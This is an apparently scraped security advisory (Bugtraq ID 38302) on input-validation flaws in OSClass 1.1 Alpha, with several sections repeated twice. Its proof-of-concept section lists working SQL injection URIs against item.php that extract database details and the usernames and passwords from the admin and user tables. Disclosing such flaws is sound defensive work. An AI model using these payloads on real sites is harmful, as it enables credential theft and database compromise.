OSClass Multiple Input Validation Vulnerabilities
BID:38302
Info
OSClass Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 38302 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 18 2010 12:00AM |
| Updated: | Feb 18 2010 12:00AM |
| Credit: | Sioma Labs |
| Vulnerable: |
OSclass osclass 1.1 Alpha |
| Not Vulnerable: | |
Discussion
OSClass Multiple Input Validation Vulnerabilities
OSClass is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks are also possible.
OSClass 1.1.0 Alpha is vulnerable; other versions may also be affected.
OSClass is prone to multiple input-validation vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks are also possible.
OSClass 1.1.0 Alpha is vulnerable; other versions may also be affected.
Exploit / POC
OSClass Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(CHAR(32,58,32),user(),database(),version())--
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from oc_admin--
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from+oc_user--
The following example data is available:
An attacker can exploit these issues via a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following example URIs are available:
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,concat_ws(CHAR(32,58,32),user(),database(),version())--
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from oc_admin--
http://www.example.com/item.php?id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(id,0x3a,username,0x3a,password)+from+oc_user--
The following example data is available:
Solution / Fix
OSClass Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].